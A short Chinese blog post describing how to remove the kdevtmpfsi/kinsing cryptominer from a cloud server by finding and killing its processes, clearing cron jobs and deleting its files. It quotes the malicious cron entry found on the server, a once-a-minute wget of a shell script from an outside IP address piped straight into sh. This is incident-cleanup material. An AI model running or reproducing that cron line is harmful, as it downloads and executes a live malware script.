解决阿里云服务器被kdevtmpfs挖矿

解决阿里云服务器被kdevtmpfs挖矿

查进程

top

解决阿里云服务器被kdevtmpfs挖矿_第1张图片

systemctl status 3256

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JqiBEbhL-1577413734967)(./1577413079512.png)]

kinsing 是kdevtmpfsi背后的守护进程,需要先杀kinsing然后再杀kdevtmpfsi。

杀进程

kill -9 3256
kill -9 3142

清理定时任务

查看定时任务

crontab -l

查看到结果:* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
清理定时任务

crontab -e

删文件

如果需要查找可以查找这两个文件,然后去对应目录删除

find / -name kdevtmpfsi
find / -name kinsing

你可能感兴趣的:(问题记录)